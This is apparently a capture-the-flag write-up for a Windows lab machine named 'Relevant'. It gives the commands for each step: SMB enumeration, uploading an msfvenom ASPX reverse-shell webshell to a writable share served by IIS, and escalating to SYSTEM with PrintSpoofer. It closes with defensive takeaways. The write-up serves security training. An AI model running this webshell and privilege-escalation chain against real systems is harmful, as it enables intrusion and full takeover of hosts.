Relevant

Windows Medium SMB · IIS · SeImpersonate ● Completed

TL;DR A writable SMB share (nt4wrksv) is also served by IIS on a high port → drop an ASPX webshell for RCE as the app-pool account → SeImpersonatePrivilege → PrintSpoofer for SYSTEM.

01Recon

nmap -sC -sV -p- -oN nmap/relevant 10.10.X.X
# 80, 135, 139, 445 SMB, 3389 RDP, 49663 (IIS HTTP), 49667
smbclient -N -L //10.10.X.X/           # share: nt4wrksv (READ/WRITE)
smbclient -N //10.10.X.X/nt4wrksv
# get passwords.txt -> base64 creds (Bob / Bill)

02Foothold — SMB → IIS webshell

The nt4wrksv share maps to http://10.10.X.X:49663/nt4wrksv/. Upload an ASPX webshell to the share and browse to it for code execution:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=443 -f aspx -o shell.aspx
smbclient -N //10.10.X.X/nt4wrksv -c 'put shell.aspx'
# trigger:
curl http://10.10.X.X:49663/nt4wrksv/shell.aspx     # -> shell as iis apppool\defaultapppool

user.txtTHM{…} (Bob's Desktop)

03Privilege Escalation — SeImpersonate

whoami /priv        # SeImpersonatePrivilege = Enabled
# potato-style privesc:
.\PrintSpoofer64.exe -i -c cmd     # -> NT AUTHORITY\SYSTEM

root.txtTHM{…} (Administrator Desktop)

04Takeaways

Never leave SMB shares world-writable, especially when the same path is web-served.
Don't store credentials in files on shares — base64 is encoding, not protection.
SeImpersonate on service accounts = SYSTEM via Potato/PrintSpoofer — scope service privileges tightly.

back to writeups